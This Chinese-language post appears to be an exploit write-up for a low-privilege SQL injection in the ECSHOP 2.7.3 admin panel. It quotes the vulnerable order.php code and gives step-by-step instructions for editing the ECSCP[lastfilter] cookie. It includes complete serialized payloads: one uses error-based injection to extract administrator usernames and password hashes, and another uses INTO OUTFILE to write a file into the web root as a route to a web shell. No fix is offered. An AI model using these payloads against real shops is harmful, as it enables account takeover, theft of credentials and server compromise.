ECSHOP后台低权限sql注入

普通发货员在登陆之后只需要一个订单列表的权限(也就是低权限管理员即可)就可以注入得到超管权限
如有文件权限还可以getshell

问题出在/admin/order.php中
[php]
if (!empty($_COOKIE['ECSCP']['lastfilter']))

{

$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));///// //这里urldecode了$_COOKIE['ECSCP']['lastfilter'],可怜的GPC~~唉……

if (!empty($filter['composite_status']))

{

$where = '';

//综合状态

switch($filter['composite_status'])

{

case CS_AWAIT_PAY :

$where .= order_query_sql('await_pay');

break;

case CS_AWAIT_SHIP :

$where .= order_query_sql('await_ship');

break;

case CS_FINISHED :

$where .= order_query_sql('finished');

break;

default:

if ($filter['composite_status'] != -1)

{

$where .= " AND o.order_status = '$filter[composite_status]' "; //这里将composite_status直接带入了sql

}

}

}
[/php]

------详细过程------------------------------------------

1.点击订单列表:
ecshop
2.点击后会set三个cookie,修改ECSCP[lastfilter]为(其实就是改composite_status):
ecshop1
修改ECSCP[lastfilter]为(其实就是改composite_status):

[/php]
也就是
[php]
a:28:{s:8:"order_sn";s:0:"";s:9:"consignee";s:0:"";s:5:"email";s:0:"";s:7:"address";s:0:"";s:7:"zipcode";s:0:"";s:3:"tel";s:0:"";s:6:"mobile";i:0;s:7:"country";i:0;s:8:"province";i:0;s:4:"city";i:0;s:8:"district";i:0;s:11:"shipping_id";i:0;s:6:"pay_id";i:0;s:12:"order_status";i:-1;s:15:"shipping_status";i:-1;s:10:"pay_status";i:-1;s:7:"user_id";i:0;s:9:"user_name";s:3:"333";s:16:"composite_status";s:200:"1' and (select 1 from(select count(*),concat((Select concat(0x5b,user_name,0x3a,password,0x5d) FROM ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1";s:12:"group_buy_id";i:0;s:7:"sort_by";s:8:"add_time";s:10:"sort_order";s:4:"DESC";s:10:"start_time";s:0:"";s:8:"end_time";s:0:"";s:4:"page";i:1;s:9:"page_size";i:15;s:12:"record_count";s:2:"19";s:10:"page_count";d:2;}
[/php]
3.然后随意访问一个order,比如:

http://localhost/ecshop273/admin/order.php?act=info&order_id=19

ecshop2
即可达到注入的目的

4.如上图中,此处注入同时可以爆出路径,因此,当拥有写权限的时候

将cookie改为:
[php]
a:28:{s:8:"order_sn";s:0:"";s:9:"consignee";s:0:"";s:5:"email";s:0:"";s:7:"address";s:0:"";s:7:"zipcode";s:0:"";s:3:"tel";s:0:"";s:6:"mobile";i:0;s:7:"country";i:0;s:8:"province";i:0;s:4:"city";i:0;s:8:"district";i:0;s:11:"shipping_id";i:0;s:6:"pay_id";i:0;s:12:"order_status";i:-1;s:15:"shipping_status";i:-1;s:10:"pay_status";i:-1;s:7:"user_id";i:0;s:9:"user_name";s:3:"333";s:16:"composite_status";s:72:"1' union select 1 into outfile 'F:/wamp/www/ECShop273/includes/1.txt'#--";s:12:"group_buy_id";i:0;s:7:"sort_by";s:8:"add_time";s:10:"sort_order";s:4:"DESC";s:10:"start_time";s:0:"";s:8:"end_time";s:0:"";s:4:"page";i:1;s:9:"page_size";i:15;s:12:"record_count";s:2:"19";s:10:"page_count";d:2;}
[/php]
将上面代码经过---“两次urlencode”---,然后放到cookie的ECSCP[lastfilter]中

再访问任意一个ORDER,好的~~shell躺着了~~
